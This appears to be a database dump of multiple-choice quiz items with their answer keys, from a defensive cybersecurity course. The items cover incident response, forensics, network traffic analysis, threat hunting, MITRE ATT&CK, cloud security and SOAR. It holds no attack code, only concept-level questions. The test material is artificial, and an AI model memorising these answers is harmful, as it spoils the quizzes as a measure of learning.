(6009, 273, 'Why is \"Baselining\" systems important?', 3, 'To know what normal looks like', 0, 'Comparison', '2025-12-26 23:03:48', '[\"It is not\", \"To know what normal looks like\", \"To delete old files\", \"To upgrade software\"]'),
(6010, 274, 'What is the first step in analysis?', 1, 'Validate if it is a True Positive', 0, 'Confirm', '2025-12-26 23:03:48', '[\"Delete the alert\", \"Validate if it is a True Positive\", \"Call the police\", \"Ignore it\"]'),
(6011, 274, 'What should you start documenting immediately?', 2, 'A timeline of events', 0, 'Timeline', '2025-12-26 23:03:48', '[\"A blog post\", \"A timeline of events\", \"A resignation letter\", \"A shopping list\"]'),
(6012, 274, 'Who might notify you of an incident externally?', 3, 'FBI, vendor, or partner', 0, 'External', '2025-12-26 23:03:48', '[\"The janitor\", \"FBI, vendor, or partner\", \"The intern\", \"Nobody\"]'),
(6013, 275, 'What is \"Short-Term Containment\"?', 1, 'Immediate actions to stop the attack', 0, 'Quick fix', '2025-12-26 23:03:48', '[\"Long-term planning\", \"Immediate actions to stop the attack\", \"Deleting files\", \"Rebooting\"]'),
(6014, 275, 'Why should you NOT shut down a compromised machine immediately?', 2, 'Volatile memory (RAM) evidence is lost', 0, 'Forensics', '2025-12-26 23:03:48', '[\"It is faster\", \"Volatile memory (RAM) evidence is lost\", \"It makes noise\", \"It uses electricity\"]'),
(6015, 275, 'What is a quarantine VLAN used for?', 3, 'Isolating compromised systems while keeping them accessible', 0, 'Isolation', '2025-12-26 23:03:48', '[\"Gaming\", \"Isolating compromised systems while keeping them accessible\", \"Faster internet\", \"Printer sharing\"]'),
(6016, 276, 'What must be removed during Eradication?', 1, 'Malware and persistence mechanisms', 0, 'Cleanup', '2025-12-26 23:03:48', '[\"User files\", \"Malware and persistence mechanisms\", \"Operating system\", \"All software\"]'),
(6017, 276, 'Before reconnecting a recovered system, what should you do?', 2, 'Validate it is clean', 0, 'Verify', '2025-12-26 23:03:48', '[\"Just plug it in\", \"Validate it is clean\", \"Delete everything\", \"Ignore it\"]'),
(6018, 276, 'Why \"gradual reconnection\"?', 3, 'To detect re-infection before spreading', 0, 'Careful', '2025-12-26 23:03:48', '[\"It is slower\", \"To detect re-infection before spreading\", \"To save power\", \"It looks professional\"]'),
(6019, 277, 'When should the Lessons Learned meeting be held?', 1, 'Within 1-2 weeks of incident closure', 0, 'Soon', '2025-12-26 23:03:48', '[\"Never\", \"Within 1-2 weeks of incident closure\", \"After 1 year\", \"During the incident\"]'),
(6020, 277, 'What is the purpose of a Post-Incident Report?', 2, 'Document what happened and recommendations', 0, 'Documentation', '2025-12-26 23:03:48', '[\"To blame someone\", \"Document what happened and recommendations\", \"To close the ticket\", \"To delete logs\"]'),
(6021, 277, 'How do you prevent similar incidents?', 3, 'Update SIEM rules, playbooks, and train staff', 0, 'Improve', '2025-12-26 23:03:48', '[\"Ignore it\", \"Update SIEM rules, playbooks, and train staff\", \"Fire everyone\", \"Do nothing\"]'),
(6022, 278, 'Which framework defines the 4-phase IR lifecycle?', 1, 'NIST SP 800-61', 0, 'Standard', '2025-12-26 23:03:48', '[\"ISO 27001\", \"NIST SP 800-61\", \"PCI DSS\", \"HIPAA\"]'),
(6023, 278, 'What is the first phase of IR?', 2, 'Preparation', 0, 'First', '2025-12-26 23:03:48', '[\"Detection\", \"Preparation\", \"Containment\", \"Recovery\"]'),
(6024, 278, 'Isolating a host from the network is part of which phase?', 3, 'Containment', 0, 'Isolate', '2025-12-26 23:03:48', '[\"Preparation\", \"Detection\", \"Containment\", \"Eradication\"]'),
(6025, 278, 'Why preserve volatile memory (RAM)?', 4, 'It contains forensic evidence lost on shutdown', 0, 'Evidence', '2025-12-26 23:03:48', '[\"It is faster\", \"It contains forensic evidence lost on shutdown\", \"It is pretty\", \"No reason\"]'),
(6026, 278, 'What document guides response to specific incident types?', 5, 'Playbook', 0, 'Runbook', '2025-12-26 23:03:48', '[\"Resume\", \"Playbook\", \"Novel\", \"Menu\"]'),
(6027, 278, 'What happens in the \"Post-Incident\" phase?', 6, 'Lessons Learned and improvement', 0, 'Review', '2025-12-26 23:03:48', '[\"Panic\", \"Lessons Learned and improvement\", \"Vacation\", \"Nothing\"]'),
(6028, 281, 'What is the \"Golden Rule\" of forensics?', 1, 'Preserve the evidence', 0, 'Do not alter', '2025-12-26 23:05:09', '[\"Delete everything\", \"Preserve the evidence\", \"Work fast\", \"Guess the answer\"]'),
(6029, 281, 'Which forensics type focuses on RAM?', 2, 'Memory Forensics', 0, 'Volatile', '2025-12-26 23:05:09', '[\"Disk\", \"Memory Forensics\", \"Network\", \"Mobile\"]'),
(6030, 281, 'Why is forensics used in lawsuits?', 3, 'eDiscovery and litigation support', 0, 'Legal', '2025-12-26 23:05:09', '[\"For fun\", \"eDiscovery and litigation support\", \"To delete evidence\", \"To hack\"]'),
(6031, 282, 'What is the first phase of the forensic process?', 1, 'Identification', 0, 'Find', '2025-12-26 23:05:09', '[\"Analysis\", \"Identification\", \"Presentation\", \"Deletion\"]'),
(6032, 282, 'Which tool is used for free disk imaging?', 2, 'FTK Imager', 0, 'Free', '2025-12-26 23:05:09', '[\"Wireshark\", \"FTK Imager\", \"Nmap\", \"Burp Suite\"]'),
(6033, 282, 'What document tracks who touched the evidence?', 3, 'Chain of Custody', 0, 'Log', '2025-12-26 23:05:09', '[\"Resume\", \"Chain of Custody\", \"Invoice\", \"Email\"]'),
(6034, 283, 'What happens if Chain of Custody is broken?', 1, 'Evidence may be inadmissible in court', 0, 'Thrown out', '2025-12-26 23:05:09', '[\"Nothing\", \"Evidence may be inadmissible in court\", \"Faster trial\", \"Automatic win\"]'),
(6035, 283, 'What does a write blocker do?', 2, 'Allows reading but prevents writing to evidence', 0, 'Read-only', '2025-12-26 23:05:09', '[\"Speeds up the disk\", \"Allows reading but prevents writing to evidence\", \"Encrypts data\", \"Deletes files\"]'),
(6036, 283, 'What should you do before touching evidence?', 3, 'Photograph the scene', 0, 'Document', '2025-12-26 23:05:09', '[\"Delete logs\", \"Photograph the scene\", \"Guess\", \"Nothing\"]'),
(6037, 284, 'Why should you image a disk before analysis?', 1, 'To preserve the original evidence', 0, 'Protect', '2025-12-26 23:05:09', '[\"It is faster\", \"To preserve the original evidence\", \"To delete files\", \"No reason\"]'),
(6038, 284, 'Which acquisition type captures deleted data?', 2, 'Physical Image', 0, 'Complete', '2025-12-26 23:05:09', '[\"Logical\", \"Physical Image\", \"Live\", \"None\"]'),
(6039, 284, 'How do you verify a disk image is accurate?', 3, 'Compare hashes of source and image', 0, 'Hash match', '2025-12-26 23:05:09', '[\"Guess\", \"Compare hashes of source and image\", \"Look at it\", \"Count files\"]'),
(6040, 285, 'What is the MFT in NTFS?', 1, 'Master File Table - database of all files', 0, 'Index', '2025-12-26 23:05:09', '[\"Main Folder Tree\", \"Master File Table - database of all files\", \"Memory File Track\", \"My First Table\"]'),
(6041, 285, 'What can Alternate Data Streams (ADS) be used for?', 2, 'Hiding data attached to files', 0, 'Steganography', '2025-12-26 23:05:09', '[\"Speeding up reads\", \"Hiding data attached to files\", \"Compressing files\", \"Encrypting\"]'),
(6042, 285, 'What is \"Timestomping\"?', 3, 'Modifying timestamps to hide activity', 0, 'Anti-forensics', '2025-12-26 23:05:09', '[\"Creating timestamps\", \"Modifying timestamps to hide activity\", \"Deleting timestamps\", \"Reading timestamps\"]'),
(6043, 286, 'Which registry hive contains user password hashes?', 1, 'SAM', 0, 'Security', '2025-12-26 23:05:09', '[\"SYSTEM\", \"SAM\", \"SOFTWARE\", \"NTUSER\"]'),
(6044, 286, 'What does Prefetch show?', 2, 'Programs that have been executed', 0, 'Execution', '2025-12-26 23:05:09', '[\"Network connections\", \"Programs that have been executed\", \"Passwords\", \"Emails\"]'),
(6045, 286, 'Where are Windows Event Logs stored?', 3, 'C:\\Windows\\System32\\winevt', 0, 'Logs path', '2025-12-26 23:05:09', '[\"Desktop\", \"C:\\\\Windows\\\\System32\\\\winevt\", \"Recycle Bin\", \"Documents\"]'),
(6046, 287, 'What is the golden rule of forensics?', 1, 'Preserve the evidence', 0, 'Protect', '2025-12-26 23:05:09', '[\"Analyze fast\", \"Preserve the evidence\", \"Delete duplicates\", \"Guess\"]'),
(6047, 287, 'Which tool is commonly used for memory forensics?', 2, 'Volatility', 0, 'RAM', '2025-12-26 23:05:09', '[\"FTK Imager\", \"Volatility\", \"Wireshark\", \"Nmap\"]'),
(6048, 287, 'What does a write blocker prevent?', 3, 'Writing to evidence (preserve integrity)', 0, 'Read-only', '2025-12-26 23:05:09', '[\"Reading\", \"Writing to evidence (preserve integrity)\", \"Deleting\", \"Copying\"]'),
(6049, 287, 'Which Windows artifact tracks program execution?', 4, 'Prefetch', 0, 'Execution', '2025-12-26 23:05:09', '[\"SAM\", \"NTUSER\", \"Prefetch\", \"Cookies\"]'),
(6050, 287, 'What file system feature allows hidden data in NTFS?', 5, 'Alternate Data Streams (ADS)', 0, 'Hidden', '2025-12-26 23:05:09', '[\"MFT\", \"Alternate Data Streams (ADS)\", \"Journal\", \"Inodes\"]'),
(6051, 287, 'What is the purpose of hashing a disk image?', 6, 'Verify image integrity', 0, 'Verification', '2025-12-26 23:05:09', '[\"Compress it\", \"Verify image integrity\", \"Encrypt it\", \"Delete it\"]'),
(6052, 291, 'What does NTA stand for?', 1, 'Network Traffic Analysis', 0, 'NTA', '2025-12-26 23:06:44', '[\"Network Threat Assessment\", \"Network Traffic Analysis\", \"New Technology Application\", \"None\"]'),
(6053, 291, 'What limits your ability to see packet content?', 2, 'Encryption (TLS)', 0, 'Hidden', '2025-12-26 23:06:44', '[\"Speed\", \"Encryption (TLS)\", \"Color\", \"Size\"]'),
(6054, 291, 'What can you determine from packet headers?', 3, 'Source/Destination IPs and ports', 0, 'Metadata', '2025-12-26 23:06:44', '[\"File contents\", \"Source/Destination IPs and ports\", \"Passwords\", \"Nothing\"]'),
(6055, 292, 'What is a SPAN port?', 1, 'A switch port that mirrors traffic for monitoring', 0, 'Mirror', '2025-12-26 23:06:44', '[\"A special cable\", \"A switch port that mirrors traffic for monitoring\", \"A firewall rule\", \"An IP address\"]'),
(6056, 292, 'What file format stores captured packets?', 2, 'PCAP', 0, 'Packet file', '2025-12-26 23:06:44', '[\"PDF\", \"PCAP\", \"DOCX\", \"MP4\"]'),
(6057, 292, 'Which tool is a GUI for packet analysis?', 3, 'Wireshark', 0, 'GUI', '2025-12-26 23:06:44', '[\"tcpdump\", \"Wireshark\", \"grep\", \"nmap\"]'),
(6058, 293, 'What Wireshark feature reconstructs a conversation?', 1, 'Follow TCP Stream', 0, 'Conversation', '2025-12-26 23:06:44', '[\"Export\", \"Follow TCP Stream\", \"Filter\", \"Capture\"]'),
(6059, 293, 'What is a \"Display Filter\" used for?', 2, 'Showing only relevant packets', 0, 'Focus', '2025-12-26 23:06:44', '[\"Capturing packets\", \"Showing only relevant packets\", \"Deleting packets\", \"Encrypting packets\"]'),
(6060, 293, 'Which filter shows only DNS traffic?', 3, 'dns', 0, 'Protocol', '2025-12-26 23:06:44', '[\"tcp\", \"udp\", \"dns\", \"http\"]'),
(6061, 294, 'What is the first step of the TCP handshake?', 1, 'SYN', 0, 'Start', '2025-12-26 23:06:44', '[\"ACK\", \"FIN\", \"SYN\", \"RST\"]'),
(6062, 294, 'How can you extract files from HTTP traffic in Wireshark?', 2, 'Export Objects > HTTP', 0, 'File extraction', '2025-12-26 23:06:44', '[\"Copy paste\", \"Export Objects > HTTP\", \"Print\", \"Screenshot\"]'),
(6063, 294, 'What might a very long User-Agent string indicate?', 3, 'Buffer overflow attempt', 0, 'Attack', '2025-12-26 23:06:44', '[\"Normal traffic\", \"Buffer overflow attempt\", \"Slow browser\", \"Mobile device\"]'),
(6064, 295, 'What is \"Beaconing\"?', 1, 'Regular, timed connections to a C2 server', 0, 'Heartbeat', '2025-12-26 23:06:44', '[\"Random traffic\", \"Regular, timed connections to a C2 server\", \"Fast traffic\", \"Encrypted traffic\"]'),
(6065, 295, 'Why is port 4444 suspicious?', 2, 'Default Metasploit/Meterpreter port', 0, 'Known bad', '2025-12-26 23:06:44', '[\"It is slow\", \"Default Metasploit/Meterpreter port\", \"It is encrypted\", \"It is common\"]'),
(6066, 295, 'What does DGA stand for?', 3, 'Domain Generation Algorithm', 0, 'Random domains', '2025-12-26 23:06:44', '[\"Data Gathering API\", \"Domain Generation Algorithm\", \"Dynamic Gateway Access\", \"Direct Gateway Address\"]'),
(6067, 296, 'What was Zeek formerly known as?', 1, 'Bro', 0, 'Old name', '2025-12-26 23:06:44', '[\"Wireshark\", \"Bro\", \"tcpdump\", \"Snort\"]'),
(6068, 296, 'Which Zeek log tracks all network connections?', 2, 'conn.log', 0, 'Connections', '2025-12-26 23:06:44', '[\"http.log\", \"dns.log\", \"conn.log\", \"ssl.log\"]'),
(6069, 296, 'How is Zeek different from Wireshark?', 3, 'Zeek generates structured logs, better for automation', 0, 'Logs', '2025-12-26 23:06:44', '[\"Zeek has GUI\", \"Zeek generates structured logs, better for automation\", \"Zeek is slower\", \"No difference\"]'),
(6070, 297, 'What tool is used for command-line packet capture on Linux?', 1, 'tcpdump', 0, 'CLI', '2025-12-26 23:06:44', '[\"Wireshark\", \"tcpdump\", \"Nmap\", \"Netcat\"]'),
(6071, 297, 'Which Wireshark filter shows HTTP requests?', 2, 'http.request', 0, 'HTTP', '2025-12-26 23:06:44', '[\"tcp.port\", \"http.request\", \"dns\", \"frame\"]'),
(6072, 297, 'What is the TCP handshake sequence?', 3, 'SYN, SYN-ACK, ACK', 0, 'Three-way', '2025-12-26 23:06:44', '[\"ACK, SYN, FIN\", \"SYN, SYN-ACK, ACK\", \"FIN, ACK, RST\", \"None\"]'),
(6073, 297, 'What does beaconing traffic indicate?', 4, 'Possible C2 communication', 0, 'Malware', '2025-12-26 23:06:44', '[\"Normal browsing\", \"Possible C2 communication\", \"File download\", \"Email\"]'),
(6074, 297, 'Which Zeek log tracks DNS queries?', 5, 'dns.log', 0, 'DNS', '2025-12-26 23:06:44', '[\"conn.log\", \"http.log\", \"dns.log\", \"files.log\"]'),
(6075, 297, 'What file format stores captured packets?', 6, 'PCAP', 0, 'Capture', '2025-12-26 23:06:44', '[\"CSV\", \"PCAP\", \"JSON\", \"XML\"]'),
(6076, 301, 'What is the difference between SOC and Threat Hunting?', 1, 'SOC reacts to alerts; Hunting proactively searches', 0, 'Proactive', '2025-12-26 23:08:10', '[\"No difference\", \"SOC reacts to alerts; Hunting proactively searches\", \"Hunting is automated\", \"SOC is proactive\"]'),
(6077, 301, 'What is \"Dwell Time\"?', 2, 'Time an attacker stays undetected in the network', 0, 'Hidden', '2025-12-26 23:08:10', '[\"Time to read alerts\", \"Time an attacker stays undetected in the network\", \"Shift duration\", \"Lunch break\"]'),
(6078, 301, 'Why are APTs hard to detect?', 3, 'They specifically evade automated detection', 0, 'Stealth', '2025-12-26 23:08:10', '[\"They are slow\", \"They specifically evade automated detection\", \"They use email\", \"They are loud\"]'),
(6079, 302, 'Detection relies on what?', 1, 'Pre-defined rules/signatures', 0, 'Rules', '2025-12-26 23:08:10', '[\"Guessing\", \"Pre-defined rules/signatures\", \"Luck\", \"Magic\"]'),
(6080, 302, 'What should happen after a successful hunt?', 2, 'Create a detection rule for future attacks', 0, 'Automate', '2025-12-26 23:08:10', '[\"Delete logs\", \"Create a detection rule for future attacks\", \"Ignore it\", \"Take vacation\"]'),
(6081, 302, 'At HMM Level 3, hunts are:', 3, 'Proactive and hypothesis-driven', 0, 'Mature', '2025-12-26 23:08:10', '[\"Nonexistent\", \"Random\", \"Proactive and hypothesis-driven\", \"Fully automated\"]'),
(6082, 303, 'What is the first step of the Hunting Loop?', 1, 'Form a Hypothesis', 0, 'Start', '2025-12-26 23:08:10', '[\"Collect data\", \"Form a Hypothesis\", \"Report\", \"Delete logs\"]'),
(6083, 303, 'If a hunt finds nothing malicious, was it wasted?', 2, 'No, you learned what normal looks like', 0, 'Value', '2025-12-26 23:08:10', '[\"Yes\", \"No, you learned what normal looks like\", \"Maybe\", \"Always\"]'),
(6084, 303, 'What should happen after a hunt?', 3, 'Document findings and create detections', 0, 'Improve', '2025-12-26 23:08:10', '[\"Delete evidence\", \"Document findings and create detections\", \"Forget it\", \"Nothing\"]'),
(6085, 304, 'What makes a good hunting hypothesis?', 1, 'Specific, actionable, based on threat intel', 0, 'Focused', '2025-12-26 23:08:10', '[\"Vague and broad\", \"Specific, actionable, based on threat intel\", \"Random\", \"Long\"]'),
(6086, 304, 'Which framework maps attacker techniques?', 2, 'MITRE ATT&CK', 0, 'Framework', '2025-12-26 23:08:10', '[\"NIST\", \"MITRE ATT&CK\", \"ISO 27001\", \"PCI DSS\"]'),
(6087, 304, 'What is a bad hypothesis?', 3, 'Something bad might happen (too vague)', 0, 'Unfocused', '2025-12-26 23:08:10', '[\"Attackers use PowerShell\", \"Something bad might happen (too vague)\", \"DNS tunneling exists\", \"Phishing leads to C2\"]'),
(6088, 305, 'Which data source shows process command lines?', 1, 'EDR', 0, 'Endpoint', '2025-12-26 23:08:10', '[\"Firewall\", \"EDR\", \"DNS\", \"Proxy\"]'),
(6089, 305, 'What is important about log retention?', 2, 'Determines how far back you can hunt', 0, 'History', '2025-12-26 23:08:10', '[\"It is not important\", \"Determines how far back you can hunt\", \"Makes logs colorful\", \"Speeds up queries\"]'),
(6090, 305, 'What tool enhances Windows logging for hunting?', 3, 'Sysmon', 0, 'Windows', '2025-12-26 23:08:10', '[\"Wireshark\", \"Sysmon\", \"Nmap\", \"Burp Suite\"]'),
(6091, 306, 'What does \"Long Tail Analysis\" focus on?', 1, 'Rare occurrences (outliers)', 0, 'Unusual', '2025-12-26 23:08:10', '[\"Common events\", \"Rare occurrences (outliers)\", \"Fast events\", \"Old events\"]'),
(6092, 306, 'In \"Stack Counting\", what is suspicious?', 2, 'Values that appear very rarely', 0, 'Rare', '2025-12-26 23:08:10', '[\"Values that appear often\", \"Values that appear very rarely\", \"All values\", \"No values\"]'),
(6093, 306, 'What is \"Pivoting\" in hunting?', 3, 'Moving from one indicator to related data', 0, 'Connect', '2025-12-26 23:08:10', '[\"Rotating chairs\", \"Moving from one indicator to related data\", \"Deleting logs\", \"Blocking IPs\"]'),
(6094, 307, 'Threat Hunting is:', 1, 'Proactive search for undetected threats', 0, 'Hunt', '2025-12-26 23:08:10', '[\"Waiting for alerts\", \"Proactive search for undetected threats\", \"Deleting logs\", \"Writing reports\"]'),
(6095, 307, 'What is \"Dwell Time\"?', 2, 'Time attacker remains undetected', 0, 'Hidden', '2025-12-26 23:08:10', '[\"Time to lunch\", \"Time attacker remains undetected\", \"Shift length\", \"Meeting time\"]'),
(6096, 307, 'A good hypothesis is:', 3, 'Specific and actionable', 0, 'Focused', '2025-12-26 23:08:10', '[\"Vague\", \"Specific and actionable\", \"Random\", \"Long\"]'),
(6097, 307, 'What framework maps adversary techniques?', 4, 'MITRE ATT&CK', 0, 'Matrix', '2025-12-26 23:08:10', '[\"NIST\", \"MITRE ATT&CK\", \"ISO\", \"PCI\"]'),
(6098, 307, 'Long Tail Analysis focuses on:', 5, 'Rare occurrences', 0, 'Outliers', '2025-12-26 23:08:10', '[\"Common events\", \"Rare occurrences\", \"Fast events\", \"All events\"]'),
(6099, 307, 'After finding a threat, you should:', 6, 'Create a detection rule', 0, 'Automate', '2025-12-26 23:08:10', '[\"Delete it\", \"Create a detection rule\", \"Ignore it\", \"Hide it\"]'),
(6100, 311, 'What does MITRE ATT&CK provide?', 1, 'Knowledge base of adversary tactics and techniques', 0, 'Framework', '2025-12-26 23:09:24', '[\"A firewall\", \"Knowledge base of adversary tactics and techniques\", \"An antivirus\", \"A SIEM\"]'),
(6101, 311, 'What does a \"Tactic\" represent?', 2, 'The adversary\'s goal', 0, 'Why', '2025-12-26 23:09:24', '[\"A specific tool\", \"The adversary\'s goal\", \"A CVE\", \"A patch\"]'),
(6102, 311, 'Which matrix covers Windows, Linux, macOS?', 3, 'Enterprise', 0, 'Main', '2025-12-26 23:09:24', '[\"Mobile\", \"Enterprise\", \"ICS\", \"Cloud\"]'),
(6103, 312, 'How many Enterprise tactics are there?', 1, '14', 0, 'Fourteen', '2025-12-26 23:09:24', '[\"10\", \"12\", \"14\", \"20\"]'),
(6104, 312, 'Which tactic involves stealing passwords?', 2, 'Credential Access', 0, 'Passwords', '2025-12-26 23:09:24', '[\"Execution\", \"Credential Access\", \"Discovery\", \"Impact\"]'),
(6105, 312, 'Which tactic is about maintaining access after initial compromise?', 3, 'Persistence', 0, 'Stay', '2025-12-26 23:09:24', '[\"Initial Access\", \"Persistence\", \"Exfiltration\", \"Collection\"]'),
(6106, 313, 'What is a \"Sub-Technique\"?', 1, 'A more specific method under a main technique', 0, 'Specific', '2025-12-26 23:09:24', '[\"A different framework\", \"A more specific method under a main technique\", \"A tool\", \"A tactic\"]'),
(6107, 313, 'T1059.001 refers to:', 2, 'PowerShell execution', 0, 'Script', '2025-12-26 23:09:24', '[\"Registry\", \"PowerShell execution\", \"DNS\", \"HTTP\"]'),
(6108, 313, 'What is a \"Procedure\" in ATT&CK?', 3, 'Real-world example of technique usage', 0, 'Example', '2025-12-26 23:09:24', '[\"A tactic\", \"Real-world example of technique usage\", \"A sub-technique\", \"A detection rule\"]'),
(6109, 314, 'What tool visualizes ATT&CK coverage?', 1, 'ATT&CK Navigator', 0, 'Tool', '2025-12-26 23:09:24', '[\"Wireshark\", \"ATT&CK Navigator\", \"Nmap\", \"Burp Suite\"]'),
(6110, 314, 'In the matrix, columns represent:', 2, 'Tactics', 0, 'Goals', '2025-12-26 23:09:24', '[\"Techniques\", \"Tactics\", \"Procedures\", \"Tools\"]'),
(6111, 314, 'What format provides machine-readable ATT&CK data?', 3, 'STIX', 0, 'Standard', '2025-12-26 23:09:24', '[\"PDF\", \"STIX\", \"CSV\", \"DOCX\"]'),
(6112, 315, 'How can ATT&CK help evaluate a security product?', 1, 'Check if it detects specific techniques', 0, 'Evaluation', '2025-12-26 23:09:24', '[\"By price\", \"Check if it detects specific techniques\", \"By color\", \"By name\"]'),
(6113, 315, 'What is \"Gap Analysis\" in ATT&CK context?', 2, 'Identifying techniques you cannot detect', 0, 'Missing', '2025-12-26 23:09:24', '[\"Finding bugs\", \"Identifying techniques you cannot detect\", \"Deleting logs\", \"Writing reports\"]'),
(6114, 315, 'Threat-Informed Defense means:', 3, 'Building defenses based on likely threat actors', 0, 'Focused', '2025-12-26 23:09:24', '[\"Random defenses\", \"Building defenses based on likely threat actors\", \"No defenses\", \"Old defenses\"]'),
(6115, 316, 'ATT&CK stands for:', 1, 'Adversarial Tactics, Techniques, and Common Knowledge', 0, 'Meaning', '2025-12-26 23:09:24', '[\"Attack Technical Team\", \"Adversarial Tactics, Techniques, and Common Knowledge\", \"Automated Threat Testing\", \"None\"]'),
(6116, 316, 'How many Enterprise tactics are there?', 2, '14', 0, 'Count', '2025-12-26 23:09:24', '[\"10\", \"12\", \"14\", \"16\"]'),
(6117, 316, 'Techniques describe:', 3, 'How adversaries achieve goals', 0, 'Method', '2025-12-26 23:09:24', '[\"Why they attack\", \"How adversaries achieve goals\", \"Who attacks\", \"When attacks happen\"]'),
(6118, 316, 'T1059 refers to:', 4, 'Command and Scripting Interpreter', 0, 'Execution', '2025-12-26 23:09:24', '[\"Persistence\", \"Command and Scripting Interpreter\", \"Discovery\", \"Exfiltration\"]'),
(6119, 316, 'Which tool visualizes ATT&CK coverage?', 5, 'Navigator', 0, 'Visualization', '2025-12-26 23:09:24', '[\"Wireshark\", \"Navigator\", \"Nmap\", \"Burp\"]'),
(6120, 316, 'Gap Analysis identifies:', 6, 'Techniques you cannot detect', 0, 'Blind spots', '2025-12-26 23:09:24', '[\"Best techniques\", \"Techniques you cannot detect\", \"Fast techniques\", \"Old techniques\"]'),
(6121, 321, 'In IaaS, who is responsible for patching the OS?', 1, 'The customer', 0, 'You', '2025-12-26 23:10:39', '[\"The provider\", \"The customer\", \"Nobody\", \"Microsoft\"]'),
(6122, 321, 'Which model gives you just the application?', 2, 'SaaS', 0, 'Software', '2025-12-26 23:10:39', '[\"IaaS\", \"PaaS\", \"SaaS\", \"None\"]'),
(6123, 321, 'AWS EC2 is an example of:', 3, 'IaaS', 0, 'Infrastructure', '2025-12-26 23:10:39', '[\"PaaS\", \"SaaS\", \"IaaS\", \"FaaS\"]'),
(6124, 322, 'Who secures the physical data center?', 1, 'The cloud provider', 0, 'Provider', '2025-12-26 23:10:39', '[\"Customer\", \"The cloud provider\", \"Government\", \"Nobody\"]'),
(6125, 322, 'IAM is whose responsibility?', 2, 'The customer (always)', 0, 'You', '2025-12-26 23:10:39', '[\"Provider\", \"The customer (always)\", \"Maybe both\", \"Neither\"]'),
(6126, 322, 'In SaaS, what does the customer manage?', 3, 'Data and user access', 0, 'Limited', '2025-12-26 23:10:39', '[\"Everything\", \"Data and user access\", \"Hardware\", \"Nothing\"]'),
(6127, 323, 'Which AWS service logs API calls?', 1, 'CloudTrail', 0, 'Audit', '2025-12-26 23:10:39', '[\"GuardDuty\", \"CloudTrail\", \"Config\", \"WAF\"]'),
(6128, 323, 'What should be blocked by default on S3 buckets?', 2, 'Public Access', 0, 'Privacy', '2025-12-26 23:10:39', '[\"Private Access\", \"Public Access\", \"All Access\", \"Admin Access\"]'),
(6129, 323, 'What does IAM stand for?', 3, 'Identity and Access Management', 0, 'Identity', '2025-12-26 23:10:39', '[\"Internet Access Manager\", \"Identity and Access Management\", \"Internal Admin Module\", \"Instance Access Mode\"]'),
(6130, 324, 'What is Azure Sentinel?', 1, 'Cloud-native SIEM', 0, 'SIEM', '2025-12-26 23:10:39', '[\"Firewall\", \"Cloud-native SIEM\", \"Antivirus\", \"VPN\"]'),
(6131, 324, 'PIM provides:', 2, 'Just-in-time admin access', 0, 'Temporary', '2025-12-26 23:10:39', '[\"Permanent access\", \"Just-in-time admin access\", \"Public access\", \"No access\"]'),
(6132, 324, 'Which service manages secrets in Azure?', 3, 'Key Vault', 0, 'Secrets', '2025-12-26 23:10:39', '[\"Blob Storage\", \"Key Vault\", \"Azure AD\", \"Sentinel\"]'),
(6133, 325, 'What is the #1 cause of cloud breaches?', 1, 'Misconfigurations', 0, 'Config', '2025-12-26 23:10:39', '[\"Hackers\", \"Misconfigurations\", \"Malware\", \"Phishing\"]'),
(6134, 325, 'What does CSPM stand for?', 2, 'Cloud Security Posture Management', 0, 'Posture', '2025-12-26 23:10:39', '[\"Cloud Security Policy Manager\", \"Cloud Security Posture Management\", \"Cyber Security PM\", \"Cloud System Protection Mode\"]'),
(6135, 325, 'Open Security Groups allowing 0.0.0.0/0 SSH is:', 3, 'A critical misconfiguration', 0, 'Bad', '2025-12-26 23:10:39', '[\"Normal\", \"A critical misconfiguration\", \"Recommended\", \"Fast\"]'),
(6136, 326, 'In IaaS, who patches the operating system?', 1, 'The customer', 0, 'You', '2025-12-26 23:10:39', '[\"Provider\", \"The customer\", \"AWS\", \"Nobody\"]'),
(6137, 326, 'The Shared Responsibility Model divides:', 2, 'Security responsibilities between customer and provider', 0, 'Division', '2025-12-26 23:10:39', '[\"Costs\", \"Security responsibilities between customer and provider\", \"Users\", \"Regions\"]'),
(6138, 326, 'Which AWS service detects threats using ML?', 3, 'GuardDuty', 0, 'ML', '2025-12-26 23:10:39', '[\"CloudTrail\", \"GuardDuty\", \"Config\", \"WAF\"]'),
(6139, 326, 'What is Azure Sentinel?', 4, 'Cloud-native SIEM', 0, 'SIEM', '2025-12-26 23:10:39', '[\"VPN\", \"Firewall\", \"Cloud-native SIEM\", \"Storage\"]'),
(6140, 326, 'Public S3 buckets are:', 5, 'A major security risk', 0, 'Bad', '2025-12-26 23:10:39', '[\"Recommended\", \"A major security risk\", \"Fast\", \"Cheap\"]'),
(6141, 326, 'CSPM helps find:', 6, 'Cloud misconfigurations', 0, 'Errors', '2025-12-26 23:10:39', '[\"Malware\", \"Cloud misconfigurations\", \"Users\", \"Costs\"]'),
(6142, 331, 'What is \"Alert Fatigue\"?', 1, 'Being overwhelmed by too many alerts', 0, 'Tired', '2025-12-26 23:11:57', '[\"Being lazy\", \"Being overwhelmed by too many alerts\", \"Not seeing alerts\", \"Fast response\"]'),
(6143, 331, 'Automation provides what key benefit?', 2, 'Speed and consistency', 0, 'Fast', '2025-12-26 23:11:57', '[\"More alerts\", \"Speed and consistency\", \"More cost\", \"Complexity\"]'),
(6144, 331, 'Which task is ideal for automation?', 3, 'Repetitive enrichment lookups', 0, 'Repetitive', '2025-12-26 23:11:57', '[\"Complex investigations\", \"Repetitive enrichment lookups\", \"Board meetings\", \"Hiring\"]'),
(6145, 332, 'What does SOAR stand for?', 1, 'Security Orchestration, Automation, and Response', 0, 'SOAR', '2025-12-26 23:11:57', '[\"Security Operations and Response\", \"Security Orchestration, Automation, and Response\", \"System Organized Auto Response\", \"None\"]'),
(6146, 332, 'Which is an open-source SOAR platform?', 2, 'TheHive / Shuffle', 0, 'Free', '2025-12-26 23:11:57', '[\"Splunk SOAR\", \"TheHive / Shuffle\", \"Cortex XSOAR\", \"IBM Resilient\"]'),
(6147, 332, 'SOAR connects tools through:', 3, 'API integrations', 0, 'APIs', '2025-12-26 23:11:57', '[\"Email\", \"API integrations\", \"Phone calls\", \"Fax\"]'),
(6148, 333, 'What is the first step in a playbook?', 1, 'Trigger (what starts the workflow)', 0, 'Start', '2025-12-26 23:11:57', '[\"Action\", \"Trigger (what starts the workflow)\", \"Closure\", \"Enrichment\"]'),
(6149, 333, 'Why include \"Human in the Loop\"?', 2, 'For critical actions requiring approval', 0, 'Safety', '2025-12-26 23:11:57', '[\"Slower\", \"For critical actions requiring approval\", \"More errors\", \"Fun\"]'),
